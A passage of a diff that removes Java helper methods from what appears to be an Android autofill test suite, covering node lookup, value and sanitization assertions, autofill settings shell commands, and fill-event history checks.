-    public static ViewNode findNodeByResourceId(ViewNode node, String resourceId) {
-        return findNodeByFilter(node, resourceId, RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(AssistStructure structure, String htmlName) {
-        return findNodeByFilter(structure, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(List<FillContext> contexts, String htmlName) {
-        return findNodeByFilter(contexts, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByHtmlName(ViewNode node, String htmlName) {
-        return findNodeByFilter(node, htmlName, HTML_NAME_FILTER);
-    }
-
-    /**
-     * Gets a node given the value of its (single) autofill hint property, or {@code null} if not
-     * found.
-     */
-    public static ViewNode findNodeByAutofillHint(ViewNode node, String hint) {
-        return findNodeByFilter(node, hint, AUTOFILL_HINT_FILTER);
-    }
-
-    /**
-     * Gets a node given the name of its HTML INPUT tag or Android resoirce id, or {@code null} if
-     * not found.
-     */
-    public static ViewNode findNodeByHtmlNameOrResourceId(List<FillContext> contexts, String id) {
-        return findNodeByFilter(contexts, id, HTML_NAME_OR_RESOURCE_ID_FILTER);
-    }
-
-    /**
-     * Gets a node given its Android resource id.
-     */
-    @NonNull
-    public static AutofillId findAutofillIdByResourceId(@NonNull FillContext context,
-            @NonNull String resourceId) {
-        final ViewNode node = findNodeByFilter(context.getStructure(), resourceId,
-                RESOURCE_ID_FILTER);
-        assertWithMessage("No node for resourceId %s", resourceId).that(node).isNotNull();
-        return node.getAutofillId();
-    }
-
-    /**
-     * Gets the {@code name} attribute of a node representing an HTML input tag.
-     */
-    @Nullable
-    public static String getHtmlName(@NonNull ViewNode node) {
-        final HtmlInfo htmlInfo = node.getHtmlInfo();
-        if (htmlInfo == null) {
-            return null;
-        }
-        final String tag = htmlInfo.getTag();
-        if (!"input".equals(tag)) {
-            Log.w(TAG, "getHtmlName(): invalid tag (" + tag + ") on " + htmlInfo);
-            return null;
-        }
-        for (Pair<String, String> attr : htmlInfo.getAttributes()) {
-            if ("name".equals(attr.first)) {
-                return attr.second;
-            }
-        }
-        Log.w(TAG, "getHtmlName(): no 'name' attribute on " + htmlInfo);
-        return null;
-    }
-
-    /**
-     * Gets a node given its expected text, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByText(AssistStructure structure, String text) {
-        return findNodeByFilter(structure, text, TEXT_FILTER);
-    }
-
-    /**
-     * Gets a node given its expected text, or {@code null} if not found.
-     */
-    public static ViewNode findNodeByText(ViewNode node, String text) {
-        return findNodeByFilter(node, text, TEXT_FILTER);
-    }
-
-    /**
-     * Gets a view that contains the an autofill hint, or {@code null} if not found.
-     */
-    public static View findViewByAutofillHint(Activity activity, String hint) {
-        final View rootView = activity.getWindow().getDecorView().getRootView();
-        return findViewByAutofillHint(rootView, hint);
-    }
-
-    /**
-     * Gets a view (or a descendant of it) that contains the an autofill hint, or {@code null} if
-     * not found.
-     */
-    public static View findViewByAutofillHint(View view, String hint) {
-        if (AUTOFILL_HINT_VIEW_FILTER.matches(view, hint)) return view;
-        if ((view instanceof ViewGroup)) {
-            final ViewGroup group = (ViewGroup) view;
-            for (int i = 0; i < group.getChildCount(); i++) {
-                final View child = findViewByAutofillHint(group.getChildAt(i), hint);
-                if (child != null) return child;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Asserts a text-based node is sanitized.
-     */
-    public static void assertTextIsSanitized(ViewNode node) {
-        final CharSequence text = node.getText();
-        final String resourceId = node.getIdEntry();
-        if (!TextUtils.isEmpty(text)) {
-            throw new AssertionError("text on sanitized field " + resourceId + ": " + text);
-        }
-
-        assertNotFromResources(node);
-        assertNodeHasNoAutofillValue(node);
-    }
-
-    private static void assertNotFromResources(ViewNode node) {
-        assertThat(node.getTextIdEntry()).isNull();
-    }
-
-    public static void assertNodeHasNoAutofillValue(ViewNode node) {
-        final AutofillValue value = node.getAutofillValue();
-        if (value != null) {
-            final String text = value.isText() ? value.getTextValue().toString() : "N/A";
-            throw new AssertionError("node has value: " + value + " text=" + text);
-        }
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextOnly(ViewNode node, String expectedValue) {
-        assertText(node, expectedValue, false);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextOnly(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertText(node, expectedValue, false);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts the contents of a text-based node that is also auto-fillable.
-     */
-    public static void assertTextAndValue(ViewNode node, String expectedValue) {
-        assertText(node, expectedValue, true);
-        assertNotFromResources(node);
-    }
-
-    /**
-     * Asserts a text-based node exists and verify its values.
-     */
-    public static ViewNode assertTextAndValue(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertTextAndValue(node, expectedValue);
-        return node;
-    }
-
-    /**
-     * Asserts a text-based node exists and is sanitized.
-     */
-    public static ViewNode assertValue(AssistStructure structure, String resourceId,
-            String expectedValue) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertTextValue(node, expectedValue);
-        return node;
-    }
-
-    /**
-     * Asserts the values of a text-based node whose string come from resoruces.
-     */
-    public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
-            String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertText(node, expectedValue, isAutofillable);
-        assertThat(node.getTextIdEntry()).isEqualTo(expectedTextIdEntry);
-        return node;
-    }
-
-    public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
-            String expectedValue, String expectedHintIdEntry) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertThat(node.getHint()).isEqualTo(expectedValue);
-        assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
-        return node;
-    }
-
-    private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
-        assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
-                .isEqualTo(expectedValue);
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        if (isAutofillable) {
-            assertWithMessage("null auto-fill value on %s", id).that(value).isNotNull();
-            assertWithMessage("wrong auto-fill value on %s", id)
-                    .that(value.getTextValue().toString()).isEqualTo(expectedValue);
-        } else {
-            assertWithMessage("node %s should not have AutofillValue", id).that(value).isNull();
-        }
-    }
-
-    /**
-     * Asserts the auto-fill value of a text-based node.
-     */
-    public static ViewNode assertTextValue(ViewNode node, String expectedText) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isText()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getTextValue().toString())
-                .isEqualTo(expectedText);
-        return node;
-    }
-
-    /**
-     * Asserts the auto-fill value of a list-based node.
-     */
-    public static ViewNode assertListValue(ViewNode node, int expectedIndex) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isList()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getListValue())
-                .isEqualTo(expectedIndex);
-        return node;
-    }
-
-    /**
-     * Asserts the auto-fill value of a toggle-based node.
-     */
-    public static void assertToggleValue(ViewNode node, boolean expectedToggle) {
-        final AutofillValue value = node.getAutofillValue();
-        final AutofillId id = node.getAutofillId();
-        assertWithMessage("null autofill value on %s", id).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", id).that(value.isToggle()).isTrue();
-        assertWithMessage("wrong autofill value on %s", id).that(value.getToggleValue())
-                .isEqualTo(expectedToggle);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based node.
-     */
-    public static void assertDateValue(Object object, AutofillValue value, int year, int month,
-            int day) {
-        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
-
-        final Calendar cal = Calendar.getInstance();
-        cal.setTimeInMillis(value.getDateValue());
-
-        assertWithMessage("Wrong year on AutofillValue %s", value)
-            .that(cal.get(Calendar.YEAR)).isEqualTo(year);
-        assertWithMessage("Wrong month on AutofillValue %s", value)
-            .that(cal.get(Calendar.MONTH)).isEqualTo(month);
-        assertWithMessage("Wrong day on AutofillValue %s", value)
-             .that(cal.get(Calendar.DAY_OF_MONTH)).isEqualTo(day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based node.
-     */
-    public static void assertDateValue(ViewNode node, int year, int month, int day) {
-        assertDateValue(node, node.getAutofillValue(), year, month, day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a date-based view.
-     */
-    public static void assertDateValue(View view, int year, int month, int day) {
-        assertDateValue(view, view.getAutofillValue(), year, month, day);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based node.
-     */
-    private static void assertTimeValue(Object object, AutofillValue value, int hour, int minute) {
-        assertWithMessage("null autofill value on %s", object).that(value).isNotNull();
-        assertWithMessage("wrong autofill type on %s", object).that(value.isDate()).isTrue();
-
-        final Calendar cal = Calendar.getInstance();
-        cal.setTimeInMillis(value.getDateValue());
-
-        assertWithMessage("Wrong hour on AutofillValue %s", value)
-            .that(cal.get(Calendar.HOUR_OF_DAY)).isEqualTo(hour);
-        assertWithMessage("Wrong minute on AutofillValue %s", value)
-            .that(cal.get(Calendar.MINUTE)).isEqualTo(minute);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based node.
-     */
-    public static void assertTimeValue(ViewNode node, int hour, int minute) {
-        assertTimeValue(node, node.getAutofillValue(), hour, minute);
-    }
-
-    /**
-     * Asserts the auto-fill value of a time-based view.
-     */
-    public static void assertTimeValue(View view, int hour, int minute) {
-        assertTimeValue(view, view.getAutofillValue(), hour, minute);
-    }
-
-    /**
-     * Asserts a text-based node exists and is sanitized.
-     */
-    public static ViewNode assertTextIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
-        assertTextIsSanitized(node);
-        return node;
-    }
-
-    /**
-     * Asserts a list-based node exists and is sanitized.
-     */
-    public static void assertListValueIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertWithMessage("no ViewNode with id %s", resourceId).that(node).isNotNull();
-        assertTextIsSanitized(node);
-    }
-
-    /**
-     * Asserts a toggle node exists and is sanitized.
-     */
-    public static void assertToggleIsSanitized(AssistStructure structure, String resourceId) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        assertNodeHasNoAutofillValue(node);
-        assertWithMessage("ViewNode %s should not be checked", resourceId).that(node.isChecked())
-                .isFalse();
-    }
-
-    /**
-     * Asserts a node exists and has the {@code expected} number of children.
-     */
-    public static void assertNumberOfChildren(AssistStructure structure, String resourceId,
-            int expected) {
-        final ViewNode node = findNodeByResourceId(structure, resourceId);
-        final int actual = node.getChildCount();
-        if (actual != expected) {
-            dumpStructure("assertNumberOfChildren()", structure);
-            throw new AssertionError("assertNumberOfChildren() for " + resourceId
-                    + " failed: expected " + expected + ", got " + actual);
-        }
-    }
-
-    /**
-     * Asserts the number of children in the Assist structure.
-     */
-    public static void assertNumberOfChildren(AssistStructure structure, int expected) {
-        assertWithMessage("wrong number of nodes").that(structure.getWindowNodeCount())
-                .isEqualTo(1);
-        final int actual = getNumberNodes(structure);
-        if (actual != expected) {
-            dumpStructure("assertNumberOfChildren()", structure);
-            throw new AssertionError("assertNumberOfChildren() for structure failed: expected "
-                    + expected + ", got " + actual);
-        }
-    }
-
-    /**
-     * Gets the total number of nodes in an structure.
-     */
-    public static int getNumberNodes(AssistStructure structure) {
-        int count = 0;
-        final int nodes = structure.getWindowNodeCount();
-        for (int i = 0; i < nodes; i++) {
-            final WindowNode windowNode = structure.getWindowNodeAt(i);
-            final ViewNode rootNode = windowNode.getRootViewNode();
-            count += getNumberNodes(rootNode);
-        }
-        return count;
-    }
-
-    /**
-     * Gets the total number of nodes in an node, including all descendants and the node itself.
-     */
-    public static int getNumberNodes(ViewNode node) {
-        int count = 1;
-        final int childrenSize = node.getChildCount();
-        if (childrenSize > 0) {
-            for (int i = 0; i < childrenSize; i++) {
-                count += getNumberNodes(node.getChildAt(i));
-            }
-        }
-        return count;
-    }
-
-    /**
-     * Creates an array of {@link AutofillId} mapped from the {@code structure} nodes with the given
-     * {@code resourceIds}.
-     */
-    public static AutofillId[] getAutofillIds(Function<String, ViewNode> nodeResolver,
-            String[] resourceIds) {
-        if (resourceIds == null) return null;
-
-        final AutofillId[] requiredIds = new AutofillId[resourceIds.length];
-        for (int i = 0; i < resourceIds.length; i++) {
-            final String resourceId = resourceIds[i];
-            final ViewNode node = nodeResolver.apply(resourceId);
-            if (node == null) {
-                throw new AssertionError("No node with resourceId " + resourceId);
-            }
-            requiredIds[i] = node.getAutofillId();
-
-        }
-        return requiredIds;
-    }
-
-    /**
-     * Get an {@link AutofillId} mapped from the {@code structure} node with the given
-     * {@code resourceId}.
-     */
-    public static AutofillId getAutofillId(Function<String, ViewNode> nodeResolver,
-            String resourceId) {
-        if (resourceId == null) return null;
-
-        final ViewNode node = nodeResolver.apply(resourceId);
-        if (node == null) {
-            throw new AssertionError("No node with resourceId " + resourceId);
-        }
-        return node.getAutofillId();
-    }
-
-    /**
-     * Prevents the screen to rotate by itself
-     */
-    public static void disableAutoRotation(UiBot uiBot) throws Exception {
-        runShellCommand(ACCELLEROMETER_CHANGE, 0);
-        uiBot.setScreenOrientation(PORTRAIT);
-    }
-
-    /**
-     * Allows the screen to rotate by itself
-     */
-    public static void allowAutoRotation() {
-        runShellCommand(ACCELLEROMETER_CHANGE, 1);
-    }
-
-    /**
-     * Gets the maximum number of partitions per session.
-     */
-    public static int getMaxPartitions() {
-        return Integer.parseInt(runShellCommand("cmd autofill get max_partitions"));
-    }
-
-    /**
-     * Sets the maximum number of partitions per session.
-     */
-    public static void setMaxPartitions(int value) throws Exception {
-        runShellCommand("cmd autofill set max_partitions %d", value);
-        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_partitions", () -> {
-            return getMaxPartitions() == value ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Gets the maximum number of visible datasets.
-     */
-    public static int getMaxVisibleDatasets() {
-        return Integer.parseInt(runShellCommand("cmd autofill get max_visible_datasets"));
-    }
-
-    /**
-     * Sets the maximum number of visible datasets.
-     */
-    public static void setMaxVisibleDatasets(int value) throws Exception {
-        runShellCommand("cmd autofill set max_visible_datasets %d", value);
-        SETTINGS_BASED_SHELL_CMD_TIMEOUT.run("get max_visible_datasets", () -> {
-            return getMaxVisibleDatasets() == value ? Boolean.TRUE : null;
-        });
-    }
-
-    /**
-     * Checks if autofill window is fullscreen, see com.android.server.autofill.ui.FillUi.
-     */
-    public static boolean isAutofillWindowFullScreen(Context context) {
-        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
-    }
-
-    /**
-     * Checks if screen orientation can be changed.
-     */
-    public static boolean isRotationSupported(Context context) {
-        final PackageManager packageManager = context.getPackageManager();
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
-            Log.v(TAG, "isRotationSupported(): is auto");
-            return false;
-        }
-        if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
-            Log.v(TAG, "isRotationSupported(): has leanback feature");
-            return false;
-        }
-        if (packageManager.hasSystemFeature(PackageManager.FEATURE_PC)) {
-            Log.v(TAG, "isRotationSupported(): is PC");
-            return false;
-        }
-        return true;
-    }
-
-    private static boolean getBoolean(Context context, String id) {
-        final Resources resources = context.getResources();
-        final int booleanId = resources.getIdentifier(id, "bool", "android");
-        return resources.getBoolean(booleanId);
-    }
-
-    /**
-     * Uses Shell command to get the Autofill logging level.
-     */
-    public static String getLoggingLevel() {
-        return runShellCommand("cmd autofill get log_level");
-    }
-
-    /**
-     * Uses Shell command to set the Autofill logging level.
-     */
-    public static void setLoggingLevel(String level) {
-        runShellCommand("cmd autofill set log_level %s", level);
-    }
-
-    /**
-     * Uses Settings to enable the given autofill service for the default user, and checks the
-     * value was properly check, throwing an exception if it was not.
-     */
-    public static void enableAutofillService(@NonNull Context context,
-            @NonNull String serviceName) {
-        if (isAutofillServiceEnabled(serviceName)) return;
-
-        // Sets the setting synchronously. Note that the config itself is sets synchronously but
-        // launch of the service is asynchronous after the config is updated.
-        SettingsUtils.syncSet(context, AUTOFILL_SERVICE, serviceName);
-
-        // Waits until the service is actually enabled.
-        try {
-            Timeouts.CONNECTION_TIMEOUT.run("Enabling Autofill service", () -> {
-                return isAutofillServiceEnabled(serviceName) ? serviceName : null;
-            });
-        } catch (Exception e) {
-            throw new AssertionError("Enabling Autofill service failed.");
-        }
-    }
-
-    /**
-     * Uses Settings to disable the given autofill service for the default user, and waits until
-     * the setting is deleted.
-     */
-    public static void disableAutofillService(@NonNull Context context) {
-        final String currentService = SettingsUtils.get(AUTOFILL_SERVICE);
-        if (currentService == null) {
-            Log.v(TAG, "disableAutofillService(): already disabled");
-            return;
-        }
-        Log.v(TAG, "Disabling " + currentService);
-        SettingsUtils.syncDelete(context, AUTOFILL_SERVICE);
-    }
-
-    /**
-     * Checks whether the given service is set as the autofill service for the default user.
-     */
-    public static boolean isAutofillServiceEnabled(@NonNull String serviceName) {
-        final String actualName = getAutofillServiceName();
-        return serviceName.equals(actualName);
-    }
-
-    /**
-     * Gets then name of the autofill service for the default user.
-     */
-    public static String getAutofillServiceName() {
-        return SettingsUtils.get(AUTOFILL_SERVICE);
-    }
-
-    /**
-     * Asserts whether the given service is enabled as the autofill service for the default user.
-     */
-    public static void assertAutofillServiceStatus(@NonNull String serviceName, boolean enabled) {
-        final String actual = SettingsUtils.get(AUTOFILL_SERVICE);
-        final String expected = enabled ? serviceName : null;
-        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
-                .that(actual).isEqualTo(expected);
-    }
-
-    /**
-     * Enables / disables the default augmented autofill service.
-     */
-    public static void setDefaultAugmentedAutofillServiceEnabled(boolean enabled) {
-        Log.d(TAG, "setDefaultAugmentedAutofillServiceEnabled(): " + enabled);
-        runShellCommand("cmd autofill set default-augmented-service-enabled 0 %s",
-                Boolean.toString(enabled));
-    }
-
-    /**
-     * Gets the instrumentation context.
-     */
-    public static Context getContext() {
-        return InstrumentationRegistry.getInstrumentation().getContext();
-    }
-
-    /**
-     * Asserts the node has an {@code HTMLInfo} property, with the given tag.
-     */
-    public static HtmlInfo assertHasHtmlTag(ViewNode node, String expectedTag) {
-        final HtmlInfo info = node.getHtmlInfo();
-        assertWithMessage("node doesn't have htmlInfo").that(info).isNotNull();
-        assertWithMessage("wrong tag").that(info.getTag()).isEqualTo(expectedTag);
-        return info;
-    }
-
-    /**
-     * Gets the value of an {@code HTMLInfo} attribute.
-     */
-    @Nullable
-    public static String getAttributeValue(HtmlInfo info, String attribute) {
-        for (Pair<String, String> pair : info.getAttributes()) {
-            if (pair.first.equals(attribute)) {
-                return pair.second;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Asserts a {@code HTMLInfo} has an attribute with a given value.
-     */
-    public static void assertHasAttribute(HtmlInfo info, String attribute, String expectedValue) {
-        final String actualValue = getAttributeValue(info, attribute);
-        assertWithMessage("Attribute %s not found", attribute).that(actualValue).isNotNull();
-        assertWithMessage("Wrong value for Attribute %s", attribute)
-            .that(actualValue).isEqualTo(expectedValue);
-    }
-
-    /**
-     * Finds a {@link WebView} node given its expected form name.
-     */
-    public static ViewNode findWebViewNodeByFormName(AssistStructure structure, String formName) {
-        return findNodeByFilter(structure, formName, WEBVIEW_FORM_FILTER);
-    }
-
-    private static void assertClientState(Object container, Bundle clientState,
-            String key, String value) {
-        assertWithMessage("'%s' should have client state", container)
-            .that(clientState).isNotNull();
-        assertWithMessage("Wrong number of client state extras on '%s'", container)
-            .that(clientState.keySet().size()).isEqualTo(1);
-        assertWithMessage("Wrong value for client state key (%s) on '%s'", key, container)
-            .that(clientState.getString(key)).isEqualTo(value);
-    }
-
-    /**
-     * Asserts the content of a {@link FillEventHistory#getClientState()}.
-     *
-     * @param history event to be asserted
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    @SuppressWarnings("javadoc")
-    public static void assertDeprecatedClientState(@NonNull FillEventHistory history,
-            @NonNull String key, @NonNull String value) {
-        assertThat(history).isNotNull();
-        @SuppressWarnings("deprecation")
-        final Bundle clientState = history.getClientState();
-        assertClientState(history, clientState, key, value);
-    }
-
-    /**
-     * Asserts the {@link FillEventHistory#getClientState()} is not set.
-     *
-     * @param history event to be asserted
-     */
-    @SuppressWarnings("javadoc")
-    public static void assertNoDeprecatedClientState(@NonNull FillEventHistory history) {
-        assertThat(history).isNotNull();
-        @SuppressWarnings("deprecation")
-        final Bundle clientState = history.getClientState();
-        assertWithMessage("History '%s' should not have client state", history)
-             .that(clientState).isNull();
-    }
-
-    /**
-     * Asserts the content of a {@link android.service.autofill.FillEventHistory.Event}.
-     *
-     * @param event event to be asserted
-     * @param eventType expected type
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle (or {@code null} if it shouldn't
-     * have client state)
-     * @param value the only value expected in the client state bundle (or {@code null} if it
-     * shouldn't have client state)
-     * @param fieldClassificationResults expected results when asserting field classification
-     */
-    private static void assertFillEvent(@NonNull FillEventHistory.Event event,
-            int eventType, @Nullable String datasetId,
-            @Nullable String key, @Nullable String value,
-            @Nullable FieldClassificationResult[] fieldClassificationResults) {
-        assertThat(event).isNotNull();
-        assertWithMessage("Wrong type for %s", event).that(event.getType()).isEqualTo(eventType);
-        if (datasetId == null) {
-            assertWithMessage("Event %s should not have dataset id", event)
-                .that(event.getDatasetId()).isNull();
-        } else {
-            assertWithMessage("Wrong dataset id for %s", event)
-                .that(event.getDatasetId()).isEqualTo(datasetId);
-        }
-        final Bundle clientState = event.getClientState();
-        if (key == null) {
-            assertWithMessage("Event '%s' should not have client state", event)
-                .that(clientState).isNull();
-        } else {
-            assertClientState(event, clientState, key, value);
-        }
-        assertWithMessage("Event '%s' should not have selected datasets", event)
-                .that(event.getSelectedDatasetIds()).isEmpty();
-        assertWithMessage("Event '%s' should not have ignored datasets", event)
-                .that(event.getIgnoredDatasetIds()).isEmpty();
-        assertWithMessage("Event '%s' should not have changed fields", event)
-                .that(event.getChangedFields()).isEmpty();
-        assertWithMessage("Event '%s' should not have manually-entered fields", event)
-                .that(event.getManuallyEnteredField()).isEmpty();
-        final Map<AutofillId, FieldClassification> detectedFields = event.getFieldsClassification();
-        if (fieldClassificationResults == null) {
-            assertThat(detectedFields).isEmpty();
-        } else {
-            assertThat(detectedFields).hasSize(fieldClassificationResults.length);
-            int i = 0;
-            for (Entry<AutofillId, FieldClassification> entry : detectedFields.entrySet()) {
-                assertMatches(i, entry, fieldClassificationResults[i]);
-                i++;
-            }
-        }
-    }
-
-    private static void assertMatches(int i, Entry<AutofillId, FieldClassification> actualResult,
-            FieldClassificationResult expectedResult) {
-        assertWithMessage("Wrong field id at index %s", i).that(actualResult.getKey())
-                .isEqualTo(expectedResult.id);
-        final List<Match> matches = actualResult.getValue().getMatches();
-        assertWithMessage("Wrong number of matches: " + matches).that(matches.size())
-                .isEqualTo(expectedResult.categoryIds.length);
-        for (int j = 0; j < matches.size(); j++) {
-            final Match match = matches.get(j);
-            assertWithMessage("Wrong categoryId at (%s, %s): %s", i, j, match)
-                .that(match.getCategoryId()).isEqualTo(expectedResult.categoryIds[j]);
-            assertWithMessage("Wrong score at (%s, %s): %s", i, j, match)
-                .that(match.getScore()).isWithin(0.01f).of(expectedResult.scores[j]);
-        }
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     */
-    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId) {
-        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetSelected(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @Nullable String key, @Nullable String value) {
-        assertFillEvent(event, TYPE_DATASET_SELECTED, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_SAVE_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     */
-    public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @Nullable String datasetId) {
-        assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
-     *
-     * @param event event to be asserted
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
-            @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
-     *
-     * @param event event to be asserted
-     */
-    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
-        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
-     * event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForDatasetAuthenticationSelected(
-            @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_DATASET_AUTHENTICATION_SELECTED, datasetId, key, value, null);
-    }
-
-    /**
-     * Asserts the content of a
-     * {@link android.service.autofill.FillEventHistory.Event#TYPE_AUTHENTICATION_SELECTED} event.
-     *
-     * @param event event to be asserted
-     * @param datasetId dataset set id expected in the event
-     * @param key the only key expected in the client state bundle
-     * @param value the only value expected in the client state bundle
-     */
-    public static void assertFillEventForAuthenticationSelected(
-            @NonNull FillEventHistory.Event event,
-            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
-        assertFillEvent(event, TYPE_AUTHENTICATION_SELECTED, datasetId, key, value, null);
-    }
-
-    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
-            @NonNull AutofillId fieldId, @NonNull String categoryId, float score) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null,
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId, categoryId, score)
-                });
-    }
-
-    public static void assertFillEventForFieldsClassification(@NonNull FillEventHistory.Event event,
-            @NonNull FieldClassificationResult[] results) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, results);
-    }
-
-    public static void assertFillEventForContextCommitted(@NonNull FillEventHistory.Event event) {
-        assertFillEvent(event, TYPE_CONTEXT_COMMITTED, null, null, null, null);
-    }
-
-    @NonNull
-    public static String getActivityName(List<FillContext> contexts) {
-        if (contexts == null) return "N/A (null contexts)";
-
-        if (contexts.isEmpty()) return "N/A (empty contexts)";
-
-        final AssistStructure structure = contexts.get(contexts.size() - 1).getStructure();
-        if (structure == null) return "N/A (no AssistStructure)";
-
-        final ComponentName componentName = structure.getActivityComponent();
-        if (componentName == null) return "N/A (no component name)";
-
-        return componentName.flattenToShortString();
-    }
-
-    public static void assertFloat(float actualValue, float expectedValue) {
-        assertThat(actualValue).isWithin(1.0e-10f).of(expectedValue);
-    }
-
-    public static void assertHasFlags(int actualFlags, int expectedFlags) {
-        assertWithMessage("Flags %s not in %s", expectedFlags, actualFlags)
-                .that(actualFlags & expectedFlags).isEqualTo(expectedFlags);
-    }
-
-    public static String callbackEventAsString(int event) {
-        switch (event) {
-            case AutofillCallback.EVENT_INPUT_HIDDEN:
-                return "HIDDEN";
-            case AutofillCallback.EVENT_INPUT_SHOWN:
-                return "SHOWN";
